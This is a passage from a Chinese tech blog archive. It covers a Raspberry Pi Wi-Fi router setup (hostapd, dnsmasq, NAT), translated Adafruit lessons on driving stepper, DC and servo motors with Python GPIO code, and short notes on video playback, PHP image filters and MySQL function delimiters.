如果hostapd重启之后有问题就试一下如下命令查看结果看是否你是否能找出配置文件中的错误并将其修复. sudo hostapd -d /etc/hostapd/hostapd.conf 如果你现在用另外一台设备扫描的话应该能够可以看到无线网络了.但是如果想要其他人连上的话还是需要一些设置的.特别是 dnsmasq ## 配置dnsmasq 老规矩,备份先,然后仔仔文本编辑器里打开 sudo cp /etc/dnsmasq.conf /etc/dnsmasq.conf.orig sudo vi /etc/dnsmasq.conf 将以下行的注释符去掉然后根据你自己的环境配置 domain-needed interface=wlan0 dhcp-range=192.168.2.1,192.168.2.254,12h 重启 dnsmasq 使设置生效, sudo service dnsmasq restart 用其他设备尝试连接本网络,但是还是不能连上因特网的. 设置因特网转发 设置IPv4转发 sudo echo 1 > /proc/sys/net/ipv4/ip_forward 如果上述命令提示拒绝访问,试试下面这个: sysctl -w net.ipv4.ip_forward=1 设置NAT sudo iptables -t nat -A POSTROUTING -j MASQUERADE 其他适配器和用法 我之所以选择Wi-Fi软件狗的主要原因是因为我可以连接我的[cantenna](http://www.jacobsalmela.com/raspberry-pi-cantenna-ultimate-2-4ghz-wardriving-and-long-range-wifi-access/),然后可以扩展我的信号到很远的距离.当然用一个无线适配器会非常的简单,但是现在我需要的是天线上的灵活性. [树莓派和路由:将树莓派打造成一台路由器](http://www.geekfan.net/9849/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## Adafruit的树莓派教程第十课:步进电机 Date: 2014-06-25 URL: https://blog.wo.ai/archives/684 Categories: Uncategorized #### 概览 步进电机介于常规的直流电机([第九课](http://www.geekfan.net/9786/ "Adafruit的树莓派教程第九课:控制一个直流电机"))和伺服马达([第八课](http://www.geekfan.net/9507/ "Adafruit的树莓派教程第八课:使用伺服马达"))之间。步进电机的优点在于它能够被精确定位,正向或反向一次性转动”一步”,并且也能够连续转动。 [![lesson10_1](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/224a7a1046_010a199f3f98b24d1d0ef491eb6c67ff.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/224a7a1046_010a199f3f98b24d1d0ef491eb6c67ff.jpg "Adafruit的树莓派教程第十课:步进电机") 这节课里,你将学到如何使用树莓派以及在[第九课](http://www.geekfan.net/9786/ "Adafruit的树莓派教程第九课:控制一个直流电机")里已经用到的L239D马达控制芯片来控制一个步进电机。 这节课也将展示如何使用另外一种驱动芯片,ULN2803。 在这个项目里,你使用L239D或者ULN2803都是可以的。ULN2803更便宜一些,并且空余出来4个输出针脚你可以用来干点别的事,如果你两个芯片都没有,那还是选择ULN2803更好一些。 步进电机所需的电量很少并且所能承受的最大电流要小于直流电机和伺服马达。所以直接通过树莓派的5V输出并且保证电流是1A的情况下是可以直接驱动步进电机的。 #### 你需要的: 5V步进电机 [![lesson10_2](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ecc117768f_812025bf736333fdad9b016b5b7e0c7c.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ecc117768f_812025bf736333fdad9b016b5b7e0c7c.jpg "Adafruit的树莓派教程第十课:步进电机") L293D芯片 [![lesson10_3](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6ab4e7d105_04f46e70f69748ba167d804d30bb950e.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6ab4e7d105_04f46e70f69748ba167d804d30bb950e.jpg "Adafruit的树莓派教程第十课:步进电机") ULN2803 [![lesson10_4](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/798c06855d_03479c6a3263ce585508063c74080d8c.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/798c06855d_03479c6a3263ce585508063c74080d8c.jpg "Adafruit的树莓派教程第十课:步进电机") 小块面包板 [![lesson10_5](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f57834d23a_d2c388bdd79a499b16562d4189273ba3.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f57834d23a_d2c388bdd79a499b16562d4189273ba3.jpg "Adafruit的树莓派教程第十课:步进电机") 树莓派 一把跳线 [![lesson10_6](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d23b0f23fa_97e6fb9ca377158c8eff08ea10b81b50.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d23b0f23fa_97e6fb9ca377158c8eff08ea10b81b50.jpg "Adafruit的树莓派教程第十课:步进电机") #### 硬件部分(L293D) 步进电机有5个引脚,所以L293D的两个半部都会用到。这意味着我们会在面包板上连接很多线。 步进电机的末端有5个接头。把跳线插入这些接头里这样就可以把电机连接在面包板上了。 [![lesson10_7](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9a2c3e9277_74da052c09f2f92c2cb47f82e689de83.png)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9a2c3e9277_74da052c09f2f92c2cb47f82e689de83.png "Adafruit的树莓派教程第十课:步进电机") 注意红色的引脚不连接任何线。 > 要通过引脚的颜色来区分而不是从它们伸出马达的位置。 这个项目只适用于带有5个单级引脚的步进电机。 [![lesson10_8](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/fd3683c85d_daee234ca1bc6a808fb007b64655c3eb.png)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/fd3683c85d_daee234ca1bc6a808fb007b64655c3eb.png "Adafruit的树莓派教程第十课:步进电机") 尽管后面的代码里使用了GPIO的第18针,但只有在使用L293D芯片时才会用到它。 #### 步进电机 步进电机使用锯齿状的转子和电磁配合推动转子一次转动”一步”。 [![lesson10_9](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/dada63ac93_11afd99f5414b9dbc1262c5e69b22489.png)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/dada63ac93_11afd99f5414b9dbc1262c5e69b22489.png "Adafruit的树莓派教程第十课:步进电机") 以正确的顺序给线圈通电,那么电机就会开始转动。转子的齿数与转动”一步”的角度精确对应。 我们现在使用的是8步步进电机,并且它有一个1:64的减速齿轮箱(reduction gearbox),所以它实际上转一圈需要 8*64=512步。 这节课里,我们不会使用红色的引脚。只有使用另外种类的不支持线圈电极反转的驱动芯片才会用到它。连接到两组线圈的中间意味着你就可以通过给左边或者右边的线圈通电来达到反转方向的目的而不用外接一个反转电流的电路。 因为我们使用的是支持电极反转的L293D芯片,所以我们就用不到红色的那个引脚了。可以通过这个芯片改变正负极来反转方向。 #### ULN2803 我们已经在第九课接触过了L293D芯片,而ULN2803也是一个非常有用的芯片。 [![lesson10_10](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/7b28dd6acc_0d98b59a1ececf9d108f711e99da72a3.png)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/7b28dd6acc_0d98b59a1ececf9d108f711e99da72a3.png "Adafruit的树莓派教程第十课:步进电机") 不像L293D有4个输出引脚可以反转电极,ULN2803有8个输出引脚可以把来自树莓派GPIO的输出信号放大转换成更大的电流。 与L293D不同的是,ULN2803只能输出一个方向的电流,所以这里我们要用到步进电机的红色引脚作为公用正极。并且每次只会用到线圈的一半,如粉色和橙色的部分,每次只有红色和粉色部分的线圈才会通电。 [![lesson10_11](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6ed564c824_6c3a883a141922479ae9b5f4d4a39543.png)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6ed564c824_6c3a883a141922479ae9b5f4d4a39543.png "Adafruit的树莓派教程第十课:步进电机") #### 软件部分 不过你用L293D还是ULN2803,软件部分都是一样的。 这个项目会用到Rpi.GPIO类库,如果你还没有装过,请参考[第四课](http://www.geekfan.net/8972/ "Adafruit的树莓派教程第四课:GPIO配置")。 要安装软件,你可以通过[SSH连接到树莓派](http://www.geekfan.net/9128/ "Adafruit的树莓派教程第六课:使用SSH")上然后通过下面的命令打开一个编辑器: nano stepper.py 然后粘贴下面的代码,使用CTRL+X然后按一下Y保存。 [![lesson10_12](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a3d841c10c_c83f06bea4d07c2afec1854bc105a8a7.png)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a3d841c10c_c83f06bea4d07c2afec1854bc105a8a7.png "Adafruit的树莓派教程第十课:步进电机") import RPi.GPIO as GPIO import time GPIO.setmode(GPIO.BCM) enable_pin = 18 coil_A_1_pin = 4 coil_A_2_pin = 17 coil_B_1_pin = 23 coil_B_2_pin = 24 GPIO.setup(enable_pin, GPIO.OUT) GPIO.setup(coil_A_1_pin, GPIO.OUT) GPIO.setup(coil_A_2_pin, GPIO.OUT) GPIO.setup(coil_B_1_pin, GPIO.OUT) GPIO.setup(coil_B_2_pin, GPIO.OUT) GPIO.output(enable_pin, 1) def forward(delay, steps): for i in range(0, steps): setStep(1, 0, 1, 0) time.sleep(delay) setStep(0, 1, 1, 0) time.sleep(delay) setStep(0, 1, 0, 1) time.sleep(delay) setStep(1, 0, 0, 1) time.sleep(delay) def backwards(delay, steps): for i in range(0, steps): setStep(1, 0, 0, 1) time.sleep(delay) setStep(0, 1, 0, 1) time.sleep(delay) setStep(0, 1, 1, 0) time.sleep(delay) setStep(1, 0, 1, 0) time.sleep(delay) def setStep(w1, w2, w3, w4): GPIO.output(coil_A_1_pin, w1) GPIO.output(coil_A_2_pin, w2) GPIO.output(coil_B_1_pin, w3) GPIO.output(coil_B_2_pin, w4) while True: delay = raw_input("Delay between steps (milliseconds)?") steps = raw_input("How many steps forward? ") forward(int(delay) / 1000.0, int(steps)) steps = raw_input("How many steps backwards? ") backwards(int(delay) / 1000.0, int(steps)) 当步进电机不转动的时候,它也是处于激活状态的并且保持它的位置。这会耗电。如果你不需要步进电机保持它的位置,你可以调用**setStep(0,0,0,0)** 来释放线圈。这样电机的转子就能自由转动并且不耗费电力了。 #### 配置与测试 这个程序需要超级用户权限,所以要在ssh里受用下面的命令: sudo python stepper.py 输入一个延时(5会是个合适的值)和转动的步数(512转一圈)。 [![lesson10_13](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5501a88ab8_dbbe0a8c2a49b709c495555eaf07d081.png)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5501a88ab8_dbbe0a8c2a49b709c495555eaf07d081.png "Adafruit的树莓派教程第十课:步进电机") 尝试减少延时来找到电机的最大速度吧。 [Adafruit的树莓派教程第十课:步进电机](http://www.geekfan.net/9926/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## Raspberry Pi 播放 1080p视频 Date: 2014-06-25 URL: https://blog.wo.ai/archives/568 Categories: Raspberry Pi, Technology 看到网上说树莓派支持1080P视频的播放,专门下载了片子尝试,经常卡死。后来看到说超频后效果好一些。在xbian里面试验了一下,效果没有太大改善。 难道是硬盘原因?这个移动硬盘比较老,大概是5400转的。我通过网络尝试访问Pi,共享拷贝文件,居然只有20多k的速度,换了个比较新的硬盘,速度也没有改善多少,大概40多K,看样子不是硬盘的问题。 难道是usb hub的原因?这个hub比较老,难道是usb 1.0或者1.1的?在网上搜了一下,线材及usb hub本身原因,严重影响移动硬盘速度,甚至会损坏硬盘,所以不建议将硬盘接在hub上。将移动硬盘连直接接到Pi上,网络拷贝速度已经可以达到2.8M,虽然和电脑之间拷贝的20多M速度相比还很慢,已经算是可以接受了。用xbmc开始播放硬盘的1080P电影,果然不卡了,yeah! 总结,硬盘、摄像头之类的设备最好直接接在Pi上,鼠标键盘可以通过usb hub扩展,否则严重影响速度和效率。至于要不要超频,反而影响不是很大。 DO NOT use USB HUB to extend you movable disk or camera, it will slow down your read speed even you can not use it. --- ## PHP的图片处理功能 Date: 2014-06-22 URL: https://blog.wo.ai/archives/563 Categories: Technology 在一个小项目里需要用到php的图像处理功能,才发现php通过imagefilter能够实现强大的功能。 # imagefilter (PHP 5) imagefilter — Applies a filter to an image ### Description bool imagefilter ( resource `$image` , int `$filtertype` [, int `$arg1` [, int `$arg2` [, int `$arg3`[, int `$arg4` ]]]] ) imagefilter() applies the given filter `filtertype` on the `image`. ### Parameters `image` An image resource, returned by one of the image creation functions, such as [imagecreatetruecolor()](http://www.php.net/manual/en/function.imagecreatetruecolor.php). `filtertype` `filtertype` can be one of the following: * `IMG_FILTER_NEGATE`: Reverses all colors of the image. * `IMG_FILTER_GRAYSCALE`: Converts the image into grayscale. * `IMG_FILTER_BRIGHTNESS`: Changes the brightness of the image. Use `arg1` to set the level of brightness. * `IMG_FILTER_CONTRAST`: Changes the contrast of the image. Use `arg1` to set the level of contrast. * `IMG_FILTER_COLORIZE`: Like `IMG_FILTER_GRAYSCALE`, except you can specify the color. Use `arg1`, `arg2` and`arg3` in the form of `red`, `green`, `blue` and `arg4` for the `alpha` channel. The range for each color is 0 to 255. * `IMG_FILTER_EDGEDETECT`: Uses edge detection to highlight the edges in the image. * `IMG_FILTER_EMBOSS`: Embosses the image. * `IMG_FILTER_GAUSSIAN_BLUR`: Blurs the image using the Gaussian method. * `IMG_FILTER_SELECTIVE_BLUR`: Blurs the image. * `IMG_FILTER_MEAN_REMOVAL`: Uses mean removal to achieve a “sketchy” effect. * `IMG_FILTER_SMOOTH`: Makes the image smoother. Use `arg1` to set the level of smoothness. * `IMG_FILTER_PIXELATE`: Applies pixelation effect to the image, use `arg1` to set the block size and `arg2` to set the pixelation effect mode. `arg1` * `IMG_FILTER_BRIGHTNESS`: Brightness level. * `IMG_FILTER_CONTRAST`: Contrast level. * `IMG_FILTER_COLORIZE`: Value of red component. * `IMG_FILTER_SMOOTH`: Smoothness level. * `IMG_FILTER_PIXELATE`: Block size in pixels. `arg2` * `IMG_FILTER_COLORIZE`: Value of green component. * `IMG_FILTER_PIXELATE`: Whether to use advanced pixelation effect or not (defaults to `FALSE`). `arg3` * `IMG_FILTER_COLORIZE`: Value of blue component. `arg4` * `IMG_FILTER_COLORIZE`: Alpha channel, A value between 0 and 127. 0 indicates completely opaque while 127 indicates completely transparent. ### Return Values Returns `TRUE` on success or `FALSE` on failure. 我用到的几个功能 imagefilter($dst_r, IMG_FILTER_BRIGHTNESS, -80); The documentation misses the exact meaning and valid ranges of the arguments for ImageFilter(). According to the 5.2.0 sources the arguments are: IMG_FILTER_BRIGHTNESS -255 = min brightness, 0 = no change, +255 = max brightness IMG_FILTER_CONTRAST -100 = max contrast, 0 = no change, +100 = min contrast (note the direction!) IMG_FILTER_COLORIZE Adds (subtracts) specified RGB values to each pixel. The valid range for each color is -255…+255, not 0…255. The correct order is red, green, blue. -255 = min, 0 = no change, +255 = max This has not much to do with IMG_FILTER_GRAYSCALE. IMG_FILTER_SMOOTH Applies a 9-cell convolution matrix where center pixel has the weight arg1 and others weight of 1.0. The result is normalized by dividing the sum with arg1 + 8.0 (sum of the matrix). any float is accepted, large value (in practice: 2048 or more) = no change ImageFilter seem to return false if the argument(s) are out of range for the chosen filter. You must add `imagesavealpha($im, true);` so the alpha channel will be saved on the new image. $im = imagecreatefrompng('image.png'); imagealphablending($im, false); imagesavealpha($im, true); if($im && imagefilter($im, IMG_FILTER_COLORIZE, 0,0,255,0)) { imagepng($im, 'image-new.png'); imagedestroy($im); } --- ## Adafruit的树莓派教程第九课:控制一个直流电机 Date: 2014-06-16 URL: https://blog.wo.ai/archives/683 Categories: Uncategorized #### 概览 这节课我们来学习如何使用Python和L293D芯片控制直流电机的速度和转向。 [![lesson9_1](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d91617cf47_0226191347e60c44db21e4fc406f08bb.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d91617cf47_0226191347e60c44db21e4fc406f08bb.jpg "Adafruit的树莓派教程第九课:控制一个直流电机") 在第八课里,我们学习了如何使用小派产生脉冲来控制伺服马达的位置。这节课我们将使用脉冲和L293D马达控制芯片来控制一个直流电机的转速并交替变换它的旋转方向。 #### 你需要的: 要完成这个项目,你需要下面一些东西。 1个树莓派 [![lesson9_2](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c6fcad3f4b_19a925d22e35be935b59faff228ec58d.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c6fcad3f4b_19a925d22e35be935b59faff228ec58d.jpg "Adafruit的树莓派教程第九课:控制一个直流电机") 1个树莓派扩展板 [![lesson9_3](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/188bd9e173_3bf119aa6a9e9d43f42daa19f5f5769e.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/188bd9e173_3bf119aa6a9e9d43f42daa19f5f5769e.jpg "Adafruit的树莓派教程第九课:控制一个直流电机") 一把公对公跳线 [![lesson9_4](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/883bae20e7_23aba5cdacbff8c90cdcad62070f44ee.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/883bae20e7_23aba5cdacbff8c90cdcad62070f44ee.jpg "Adafruit的树莓派教程第九课:控制一个直流电机") 1个小块面包板 [![lesson9_5](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ba9b06f5c4_fc3a671207febe38e02578cadfab3a9e.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ba9b06f5c4_fc3a671207febe38e02578cadfab3a9e.jpg "Adafruit的树莓派教程第九课:控制一个直流电机") 1个6V直流电机 [![lesson9_6](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f368e8bd32_1d7f34be9236d4bfc4560c8472c36636.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f368e8bd32_1d7f34be9236d4bfc4560c8472c36636.jpg "Adafruit的树莓派教程第九课:控制一个直流电机") L293D马达控制芯片 [![lesson9_7](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e379df4b23_2319303ab9e0b0c3b16b9d9152ef6811.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e379df4b23_2319303ab9e0b0c3b16b9d9152ef6811.jpg "Adafruit的树莓派教程第九课:控制一个直流电机") Adafruit Occidentalis 0.2及之后的操作系统 [![lesson9_8](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/25ad045dbf_1845d1da2a2be9e38ed17de200e83dde.png)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/25ad045dbf_1845d1da2a2be9e38ed17de200e83dde.png "Adafruit的树莓派教程第九课:控制一个直流电机") 4节5号或7号电池盒及电池 [![lesson8_8](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/024c4489dd_fdc37e246354f0b2234d47f151b1cea01.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/024c4489dd_fdc37e246354f0b2234d47f151b1cea01.jpg "Adafruit的树莓派教程第九课:控制一个直流电机") #### PWM PWM(Pulse Width Modulation,脉冲宽度调制)是一项用于控制电力的技术。在这里我们使用它来控制供给直流电机的电量及它的转速。 下面的图表展示了从树莓派的PWM针脚产生的脉冲信号。 [![lesson9_10](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ecc117768f_a266fc797cf865867897c32d1fd08457.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ecc117768f_a266fc797cf865867897c32d1fd08457.jpg "Adafruit的树莓派教程第九课:控制一个直流电机") PWM针每1/500秒产生一次脉冲。脉冲的长度控制了直流电机所能获得的电量。没有脉冲电机就不会转动,一次短脉冲会使电机以很慢的速度转动。如果脉冲持续总长度一半的时间,那么它就会获得总电量一半的电量。 #### PWM核心模块 Adafruit与Sean Cross一起编写了一个核心模块被包含在了[Occidentalis](http://learn.adafruit.com/adafruit-raspberry-pi-educational-linux-distro/occidentalis-v0-dot-2)发行版里。更多的细节请参照[这篇教程](http://www.geekfan.net/8808/ "Adafruit的树莓派教程第一课:为你的树莓派准备一张SD卡")。如果你想在Raspbian或者其他发行版上使用这个模块,参考[这里](http://learn.adafruit.com/adafruit-raspberry-pi-educational-linux-distro/occidentalis-v0-dot-2)来把模块安装到你的环境里。 你已经在第八课里使用过了PWM与伺服马达核心模块,用于控制伺服马达。这一次,你将使用相同的模块来控制电机的转速。 这个模块使用文件类型的接口,你可以通过读写这些特定的文件来控制针脚输出进一步控制伺服电机的行为。这使得使用Python或者其他语言来编写该接口十分容易。 **文件 – 描述** active – 1为激活,0为未激活。你可以通过读取它来查找输出针是否被激活,或者通过改写控制它的激活或未激活。 delayed – 如果设置为1,你对其他文件的改动不会起作用直到你使用上面的active来激活输出针。 mode – 改写文件来设置针脚是pwm,servo(伺服马达)还是audio(音频)。显然这里我们要设置为servo。注意这些针也会被小派的音频输出使用,所以你不能在使用声音的同时控制一个伺服马达。 frequency – 每秒产生的脉冲次数。 duty – 这个值应该介于0到100之间,代表了脉冲长度的百分比。数值越大,转速越快。 #### L293D 这是一个非常有用的芯片。它实际上可以独立控制两个电机。这节课我们将只使用芯片的一半针脚,在芯片右手边的大多数针脚用于控制第二个电机,但在树莓派上只有一个PWM输出针脚。 [![lesson9_11](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d63a213482_09e9bf66c7634001bbbbb87ffae5371d.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d63a213482_09e9bf66c7634001bbbbb87ffae5371d.jpg "Adafruit的树莓派教程第九课:控制一个直流电机") L293D有两个+V的针脚(8和16)。+Vmotor(8)针为电机提供电力,+V(16)针作为芯片的逻辑针脚。我们将把第16针接到树莓派上然后把第8针接到电池盒上。 #### 硬件部分 为什么我们要在这个项目里使用L293D芯片?有两个原因。第一个原因是小派似乎还没有强大到能够直接驱动一个电机并且这样做可能会损坏树莓派。 第二个原因是,在这篇教程里,我们即要控制电机的转速,也要控制电机的转向。要达到这一点,需要反转电机的电流方向,而L239D恰好就是被设计用来达到这一目的的,我们可以通过两个电机控制针脚实现。 [![lesson9_12](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f57834d23a_2797dd3d4a64c6fc84ce62dd11ebb9cc.png)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f57834d23a_2797dd3d4a64c6fc84ce62dd11ebb9cc.png "Adafruit的树莓派教程第九课:控制一个直流电机") 一小块面包板的大小很适合这篇教程。 #### 软件部分 因为我们需要使用控制针脚(连接GPIO的第4针和第17针),所以我们也需要用到GPIO库。更多细节请参考[第四课](http://www.geekfan.net/8972/ "Adafruit的树莓派教程第四课:GPIO配置")。 有很多种方法能把下面的展示的代码弄到你的树莓派里。最简单的方法可能是使用SSH连接到小派上(参见[第六课](http://www.geekfan.net/9128/ "Adafruit的树莓派教程第六课:使用SSH"))然后使用下面的命令打开一个编辑器: sudo nano motor.py 粘贴下面的代码,然后用Ctrl+X保存。 [![lesson9_13](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9a2c3e9277_a11546da6e3eeab080d6cb3fb9b04d32.png)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9a2c3e9277_a11546da6e3eeab080d6cb3fb9b04d32.png "Adafruit的树莓派教程第九课:控制一个直流电机") 代码在这: import RPi.GPIO as io io.setmode(io.BCM) in1_pin = 4 in2_pin = 17 io.setup(in1_pin, io.OUT) io.setup(in2_pin, io.OUT) def set(property, value): try: f = open("/sys/class/rpi-pwm/pwm0/" + property, 'w') f.write(value) f.close() except: print("Error writing to: " + property + " value: " + value) set("delayed", "0") set("mode", "pwm") set("frequency", "500") set("active", "1") def clockwise(): io.output(in1_pin, True) io.output(in2_pin, False) def counter_clockwise(): io.output(in1_pin, False) io.output(in2_pin, True) clockwise() while True: cmd = raw_input("Command, f/r 0..9, E.g. f5 :") direction = cmd[0] if direction == "f": clockwise() else: counter_clockwise() speed = int(cmd[1]) * 11 set("duty", str(speed)) 这个Python程序首先把两个GPIO针设置为输出针。然后定义了一个与第八课里面一样的为了使用方便的方法(“set”),用于写入PWM核心模块。后面我们将会用它设置PWM参数。 另外我们定义了两个方法,”clockwise”和”counter_clockwise”,它们通过控制输出针达到改变电机转向的目的。 如果两个输出针都置为高或者置为低,那么电机将会停止。如果一针为高一针为低那么电机将朝一个方向转动,如果两针的电平反转,那么电机的转向也将反转。程序循环等待用户输入一个字母(“f”或”r”)以及一个0到9之间的数字。字母设置了电机的转向数字设置了转速,数字将会乘以11然后变成一个0到99之间PWM库所期望的百分比值。 #### 测试&配置 要运行这个程序,你需要超级用户权限,所以使用下面的命令吧: sudo python motor.py 命令行将会提示你输入两个字符。试试下面的命令: $sudo python motor.py Command, f/r 0..9, E.g. f5 :f9 Command, f/r 0..9, E.g. f5 :r4 Command, f/r 0..9, E.g. f5 : [Adafruit的树莓派教程第九课:控制一个直流电机](http://www.geekfan.net/9786/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## mysql 创建 function 错误 1064解决方案 Date: 2014-06-09 URL: https://blog.wo.ai/archives/558 Categories: Technology 在mysql5.1创建function时,总是报下面的错误 #1064 – You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” at line 4 检查很多遍都没发现语法错误,苦恼很久。 后上网查到,是因为mysql分隔符的问题,默认是以;作为分隔符,而function或者procedure里面很多时候都要用分号,所以造成这个问题。 解决方法是用DELIMITER //预先定义分隔符,这样就解决了这个问题。存档以防将来之需。 如下是创建随机字符串的function DELIMITER // CREATE FUNCTION `rand_string`(n INT) RETURNS varchar(255) CHARSET utf8 BEGIN DECLARE chars_str varchar(100) DEFAULT ‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789’; DECLARE return_str varchar(255) DEFAULT ”; DECLARE i INT DEFAULT 0; WHILE i < n DO SET return_str = concat(return_str,substring(chars_str , FLOOR(1 + RAND()*62 ),1)); SET i = i +1; END WHILE; RETURN return_str; END; // --- ## Adafruit的树莓派教程第八课:使用伺服马达 Date: 2014-05-29 URL: https://blog.wo.ai/archives/680 Categories: Uncategorized #### 概览 这节课我们来学习如何使用Python来控制一个伺服马达。 [![lesson8_1](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e3978d0a68_cf1c81f29704917b20e806fc378589bd.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e3978d0a68_cf1c81f29704917b20e806fc378589bd.jpg "Adafruit的树莓派教程第八课:使用伺服马达") 伺服马达受不同长度的脉冲控制。这需要相当准确的定时。树莓派上有一针能通过硬件产生脉冲,而不需要依靠操作系统。Occidentalis系统有一个界面可以使用这一针来控制伺服马达。 #### 你需要的: * 1个树莓派 [![lesson8_2](http://www.geekfan.net/wp-content/uploads/8c589e7e46d7208c2f6665958099776d.jpg)](http://www.geekfan.net/wp-content/uploads/8c589e7e46d7208c2f6665958099776d.jpg "Adafruit的树莓派教程第八课:使用伺服马达") * 1个扩展板和1条26针的IDC电缆 [![lesson8_3](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c70e4239cd_45e337430b0536fc2f7c63383405ead1.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c70e4239cd_45e337430b0536fc2f7c63383405ead1.jpg "Adafruit的树莓派教程第八课:使用伺服马达") * 1把公对公的跳线 [![lesson8_4](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ddfebf1314_f64ff426c56d7e5b999714c308a910e6.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ddfebf1314_f64ff426c56d7e5b999714c308a910e6.jpg "Adafruit的树莓派教程第八课:使用伺服马达") * 1块小型面包板 [![lesson8_5](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5b70734d09_4af56d1ed03705283151ed9878a43023.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5b70734d09_4af56d1ed03705283151ed9878a43023.jpg "Adafruit的树莓派教程第八课:使用伺服马达") * 1个伺服马达 [![lesson8_6](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8cadee5d8a_7c87ebe67e19d5cb7b957e725d0d8f08.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8cadee5d8a_7c87ebe67e19d5cb7b957e725d0d8f08.jpg "Adafruit的树莓派教程第八课:使用伺服马达") * Adafruit Occidentalis 0.2或之后版本的操作系统发行版 [![lesson8_7](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/651aa65df0_4dc3e252ef4003722893b0f14830997c.png)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/651aa65df0_4dc3e252ef4003722893b0f14830997c.png "Adafruit的树莓派教程第八课:使用伺服马达") * 5号或7号电池座及4节电池 [![lesson8_8](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6a87a550b4_fdc37e246354f0b2234d47f151b1cea0.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6a87a550b4_fdc37e246354f0b2234d47f151b1cea0.jpg "Adafruit的树莓派教程第八课:使用伺服马达") #### 伺服马达 伺服马达的状态由脉冲的长度控制。伺服马达预期每20毫秒接受一次脉冲。如果脉冲的高电平持续1毫秒,那么伺服马达不会转动,如果是1.5毫秒,那它将会转过90度,如果高电平持续2毫秒,那它将会转动180度。 [![lesson8_9](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d41fea882a_6d42d7b8c4a150fff224aa9e18f67880.png)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d41fea882a_6d42d7b8c4a150fff224aa9e18f67880.png "Adafruit的树莓派教程第八课:使用伺服马达") 伺服马达的终点位置可能不同,许多伺服马达只能转动大约170度。你也可以购买能”连续”旋转360度的伺服马达。 #### PWM与伺服马达核心模块(The PWM and Servo Kernel Module) Adafruit与Sean 